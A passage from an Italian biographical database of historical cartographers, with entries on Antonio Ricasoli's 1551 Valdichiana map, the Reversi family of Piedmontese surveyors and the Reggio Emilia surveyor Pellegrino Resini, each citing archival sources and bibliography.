C. BRAYDA-L. COLI-D. SESIA, Specializzazioni e vita professionale nel Sei e Settecento in Piemonte, in “Atti e rassegna tecnica della Società Ingegneri e Architetti in Torino”, Nuova serie, 17 (1963), n. 3, p. 132.

Rimandi ad altre schede:

Autore della scheda: Elena MARANGONI

Ricasoli, Antonio

Antonio Ricasoli
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Architetto e soprintendente alla bonificazione delle Chiane

Biografia:

Produzione scientifica:
Architetto e uomo politico fiorentino che fu sempre al servizio dei Medici.
Nel 1516, papa Leone X de’ Medici scomunicò dalla carica di duca il giovane Francesco Maria I della Rovere, reo di aver partecipato, nel 1511, all'uccisione del cardinale di Pavia, Francesco Alidosi, sospettato di tradimento. Il pontefice nominò a nuovo duca d'Urbino il nipote Lorenzo de’ Medici, che con il suo esercito s’impadronì del ducato, e prima di tutto, di San Leo.
In quello stesso anno, le truppe fiorentine comandate dal generale Antonio Ricasoli, spalleggiate dal pontefice Leone X de’ Medici, penetrarono a sorpresa, durante la notte, in San Leo; la storica impresa è raffigurata da Giorgio Vasari in un celebre affresco nel Palazzo Vecchio di Firenze.
Come uomo di pace, il nome di Ricasoli è strettamente legato alla Valdichiana che stava gradualmente diventando – nella sua parte pianeggiante almeno – un immenso latifondo mediceo.
Già il 10 luglio 1525, quando il Comune di Foiano cede a Ippolito de’ Medici la sua parte di padule perché questa potente famiglia bonificasse le terre a proprie spese, costui è rappresentato proprio dal Ricasoli; nello stesso anno, Giulio de’ Medici (poi papa Clemente VII) invia in Valdichiana Antonio da Sangallo il Giovane perché eseguisse una pianta generale a fini di bonifica della valle. Nel 1532, anche i Comuni di Castiglion Fiorentino, di Montepulciano e di Cortona donarono ai Medici i loro terreni acquitrinosi; e, non a caso, nello stesso anno, Ricasoli fu inviato alle Chiane con lo stesso Sangallo prima per realizzare una “terminazione” o confinazione della valle tra il patrimonio fondiario mediceo e i territori comunitativi; e poi – con la carica di soprintendente alla bonificazione delle Chiane – per provvedere alla bonifica del territorio di Castel poi Città della Pieve, ugualmente ceduto ai Medici, incarico presto interrottosi per la morte di Clemente VII.
Dopo che nel 1533 Ascanio Vittozzi era stato incaricato di redigere una relazione circa il metodo migliore per realizzare la bonifica della valle; dopo che nel 1545 Iacopo Polverini ebbe eseguita una confinazione con lo Stato Ecclesiastico, per conto di Cosimo I de’ Medici, per delimitare il patrimonio della famiglia ducale; e dopo che nel 1547 ebbe visitato la valle l’ingegnere del Fiume Arno Girolamo di Pace (che propose arginature, spostamenti di torrenti e colmate); dopo che, nel 1549, su mandato del duca Cosimo, l’ingegnere Vincenzo Vagnotti ebbe dato inizio al disseccamento (a tutto suo vantaggio) di parte del territorio cortonese, e l’ingegnere Pasqualino Buoni d’Ancona ebbe stipulato un contratto ad meliorandum per il recupero a fini agrari delle zone umide medicee, tornò nuovamente in azione Antonio Ricasoli.
L’architetto e funzionario mediceo pare che già nel 1550 abbia diretto l’escavazione del Canale Maestro a partire dalla Pieve al Toppo; nel 1551 fu incaricato di effettuare un rilievo topografico e una livellazione generale della valle (Di Pietro, 2005, pp. 93-96).
Dal lavoro architettonico-ingegneristico e topografico-cartografico del Ricasoli scaturì la Pianta del corso della Chiana e suoi affluenti dal Ponte di Carnaiola fino allo sbocco in Arno al Ponte a Buriano (ASF, Piante Antiche dei Confini, nn. 9 e 18; copia settecentesca in ASF, Piante Topografiche delle Regie Possessioni, c. 105/1): una rappresentazione a colori, in grande formato, che fu considerata il vero e proprio modello cartografico della Valdichiana fino almeno al primo ventennio del XIX secolo, come dimostra anche Alessandro Manetti che la riprodusse in piccolo formato, e quindi con grande semplificazione di contenuti, in una sua memoria a stampa del 1823 (Stato antico della Valle di Chiana al tempo di Cosimo I de’ Medici duca di Firenze. Quale si rileva dalla pergamena originale annessa alla perizia del 1551 che fu diretta da Messer Antonio de’ Ricasoli allora Soprintendente Generale alla Bonificazione delle Chiane).
In tale prodotto, Ricasoli fa ricorso al linguaggio pittorico per rendere, con notevole efficacia prospettica e con un apprezzabile rispetto delle proporzioni e delle distanze, il solo spazio pianeggiante della valle, con gli oggetti topografici che lo compongono (talora con considerazione anche di quelli dei contorni collinari), vale a dire la configurazione oro-idrografica, l’uso agro-forestale e palustre del suolo, gli insediamenti umani, ecc.: un tipo di rappresentazione che si impose profondamente nella tradizione cartografica della valle.
Del resto, questa costruzione generale originale (non si sa se Ricasoli si avvalse di collaborazioni tecniche), ritenuta perduta da molti studiosi dei nostri tempi, per quasi tre secoli venne invece conservata accuratamente negli uffici statali e tenuta ben presente da tutti gli scienziati e i tecnici o i funzionari che si occuparono della Valdichiana, da Odoardo Corsini nel 1742 a Jacopo Gugliantini tra il 1802 e il 1808, e ancora da Andrea Nuti nel 1808 e da Jacopo Frilli e Alessandro Manetti nel 1819, allo stesso Manetti ancora nelle sue memorie del 1822-23 e del 1840 (Guarducci, 2005; e Di Pietro, 2005): ciò che sta a dimostrare la piena consapevolezza circa il suo valore di rappresentazione spaziale e, insieme, l’importanza strategica (in termini non solo dei contenuti ma anche del metodo di lavoro) della cartografia del passato in funzione di quella, volta per volta, da rilevare nel presente, che non mancava in ogni tempo di confrontarvisi e di riutilizzarla.
Dalla carta ricasoliana risulta che le acque della Chiana scendevano verso l’Arno a partire dal porto di Pilli (con il Canale che era tracciato solo da qui al ponte alla Nave), mentre da quel luogo fino al porto di Foiano ristagnavano, espandendosi trasversalmente nella valle per circa tre chilometri; quindi cominciavano a muoversi verso sud, cioè la Chiana romana e il Tevere. Il cartografo distingue la striscia centrale, permanentemente occupata dalle acque e quindi lacustre insieme ai chiari di Chiusi, Montepulciano, Castiglione e Città della Pieve, dall’area padulosa laterale (allagata durante i periodi di piogge prolungate); indica ben dieci porti o punti di traghetto attestati sulle strade principali, resti di antichi tracciati stradali (nell’acquitrino allo sbocco della Foenna si legge Silice è una via antica), innumerevoli ponti, pescaie e mulini. “Dai calcoli del Manetti, a commento della carta del Ricasoli, la palude si estendeva per 9680 ha, con un massimo di larghezza in corrispondenza del porto di Cesa pari a m 3307: ovvero, secondo il Possenti, per 43.968 staiora pari a 8800 ettari” (Di Pietro, 2005, p. 96).

Produzione di cartografia manoscritta:
Pianta del corso della Chiana e suoi affluenti dal Ponte di Carnaiola fino allo sbocco in Arno al Ponte a Buriano, Antonio Ricasoli, 1551 (ASF, Piante Antiche dei Confini, nn. 9 e 18; copia settecentesca in ASF, Piante Topografiche delle Regie Possessioni, c. 105/1).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Riferimenti bibliografici e archivistici

Manetti, 1823; Guarducci, 2005, pp. 74-75, 77 e 80-81; Di Pietro, 2005, pp. 93-96 e 150; ASF, Piante Antiche dei Confini; ASF, Piante Topografiche delle Regie Possessioni.

Rimandi ad altre schede:

Autore della scheda: Anna Guarducci e Leonardo Rombai

Reversi, Giovanni Antonio

Giovanni Antonio Reversi
N. Salassa
M.

Relazioni di parentela: Rappresenta la terza generazione che si dedica a tale professione: sia il nonno, il suo omonimo Giovanni Antonio, sia il padre, Giovanni Battista (v. scheda), sono infatti agrimensori. Si segnala inoltre che nel 1768 viene approvato agrimensore Giambatta Reversi, anch’egli di Salassa (Arch. Storico Univ. di Torino, Esami degli architetti e misuratori, X.D.3, f. 155), che potrebbe essere un altro membro di tale famiglia.

Ente/istituzione di appartenenza:
Qualifica: agrimensore

Biografia:

Produzione scientifica:
Il padre gli vende la sua Piazza da misuratore per il Piemonte il 12 agosto 1755 ed egli vi eserciterà sino al 27 luglio 1772, data in cui la rivende a Gio Pietro Ajmonetto (ASTO, Controllo Generale Finanze, Notai e Misuratori, reg. 11, f. 106 e ivi, reg. 29, f. 144).
A testimonianza della sua attività sono state identificate due mappe catastali e la carta del corso di una bealera nel Canavese; tale carta così come il catasto di Bosconero sono realizzate insieme al misuratore Giovanni Ludovico Lutati (v. scheda).

Produzione di cartografia manoscritta:
- Tipografico del territorio della Comunità di Bosconegro formato dai Sottoscritti nell’anno 1760, 21 novembre 1761, sottoscritta Giovanni Ludovico Lutati e Giovanni Antonio Reversi (ASTO, Azienda Generale Finanze, Catasto Antico del Piemonte, Bosconero, all. C, rot. 72).
- COPIA / DELLA MAPPA ORIGINALE DELTERRITORIO / DI / FAVRIA, 10 febbraio 1762 (ASTO, Azienda Generale Finanze, Catasto Antico del Piemonte, Favria, all. C, rot. 149).
- Tipo della Bealera d’Oglianico principiando dall’Imbocatura al Fiume Orco Territorio di Cuorgné passando per / Valperga, e Salasca, 13 giugno 1766, sottoscritta Giovanni Ludovico Lutati e Giovanni Antonio Reverzi (ASTO, Carte Topografiche e Disegni, Carte Topografiche Serie III, Oglianico, 2).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:

Rimandi ad altre schede: Giovanni Ludovico Lutati e Giovanni Battista Reversi

Autore della scheda: Elena Marangoni

Reversi, Giovanni Battista

Giovanni Battista Reversi
N. Salassa
M.

Relazioni di parentela: È figlio di Giovanni Antonio, che ottiene le patenti di agrimensore il 7 agosto 1698 (ASTO, Camerale, Patenti Piemonte, art. 687, reg. 128, f. 172) e padre dell’agrimensore Giovanni Antonio (v. scheda).

Ente/istituzione di appartenenza:
Qualifica:

Biografia:

Produzione scientifica:
È probabilmente da identificare con “Jean Baptiste Benoit Reverso” indicato come trabuccante nel registro dei pagamenti del personale impiegato nella realizzazione del catasto della Savoia, (Arch. Départ. de la Savoie, C 1855, 1731, f. 11). Dopo tale esperienza nel 1735 acquista dalle Regie Finanze una Piazza per esercitare la professione di agrimensore in Piemonte (ASTO, Controllo Generale Finanze, Vendite di Piazze da Misuratori, reg. 1, f. 72 v.) che nel 1755, probabilmente alla fine della propria carriera, rivende a suo figlio Giovanni Antonio (v. scheda; ASTO, Controllo Generale Finanze, Vendite di Piazze da Misuratori, reg. 11, f. 106).
È conosciuto quale autore di tre mappe del Catasto Antico del Piemonte, tutte relative a comunità del Canavese, che realizza in società con altri. Per la misura generale dei territori di Salassa e Torre lavora con Giovanni Domenico Rosso, che si sottoscrive quale semplice geometra e non risulta possedere una Piazza; è originario di Oglianico, una comunità limitrofa a quella di Salassa da cui proviene Reversi e compare anch’egli, in qualità di géomètre, fra il personale impiegato nella catastazione della Savoia (Arch. Départ. de la Savoie, C 1855, 1731, f. 16).
Per il catasto di Prascorsano si associa invece a Bartolomeo Caretto, ed in tale mappa, si sottoscrive come “misuratore”: la definizione della qualifica resta un elemento di incertezza per quei cartografi attivi prima del 1729, anno in cui vengono istituiti gli esami per agrimensori e misuratori presso l’Università e si differenziano in modo più preciso le due categorie in quanto i primi sono abilitati alla misurazione di terreni e fabbriche rustiche ed i secondi anche di edifici civili.

Produzione di cartografia manoscritta:
- Mappa universale di tutti li beni tanto Comuni che Particolari del Teritorio di Sallaza formata da noi sotoscritti Ag.[rimenso]re Giò Batta fu Giò Antonio Raverso di Sallaza et Giò Domco fu Giò Antonio Rosso d’Oglianico Geometra […], 20 settembre 1741 (ASTO, Azienda Generale Finanze, Catasto Antico del Piemonte, Salassa, all. C, rot. 80).
- Mappa del territorio della Torre formata dalli Sig. Agrimensore e Geometra G. Batta Reverso di Salassa et G. Dome[ni]co Rosso d’Oglianico […], 20 giugno 1743 (ASTO, Azienda Generale Finanze, Catasto Antico del Piemonte, Torre Bario, all. C, rot. 94).
- [Mappa del territorio di Prascorsano], 27 settembre 1746, sottoscritta da Bartolomeo Caretto e Giovanni Battista Reverso (ASTO, Azienda Generale Finanze, Catasto Antico del Piemonte, Prascorsano, all. C, rot. 142).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:

Rimandi ad altre schede: Giovanni Antonio Reversi

Autore della scheda: Elena Marangoni

Resini, Pelligrino

Pellegrino Resini
N. Reggio Emilia 1556
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:

Produzione scientifica:
Ricopre incarichi continuativi presso il comune per opere di ristrutturazione degli edifici e per determinare l’utilizzazione dei terreni comunali (es. piantagione di gelsi).
La sua attività è documentata nel 1586 per la presenza di una mappa inclusa nel volume delle Piante dei Beni della Pia Casa della Carità. Inoltre è indicato con la carica di agrimensore presso l ‘Ospedale dei SS. Pietro e Matteo nel 1588. Nel 1611 fa rilevamenti dei terreni posseduti dal medesimo ospedale. Esegue opere di rilevazione nei terreni della Famiglia Zucchi nel 1619. Appare come agrimensore ndell’Ospedale di S. Maria Nuova nel 1633. Nel 1636 gli succede Prospero Ferrarini negli incarichi presso il comune.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
A.S.Re, in Arch. Corp. Rel Saffi (?), Archivi privati (Dongiovanni e Zucchi)

BIBLIOGRAFIA
BARICCHI W., I periti agrimensori di Reggio Emilia tra il XV e il XIX secolo, in Le mappe rurali del territorio di Reggio Emilia : agricoltura e paesaggio tra 16. e 19, Casalecchio di Reno, Grafis, 1985.

Rimandi ad altre schede:

Autore della scheda: Maria Luisa Scarin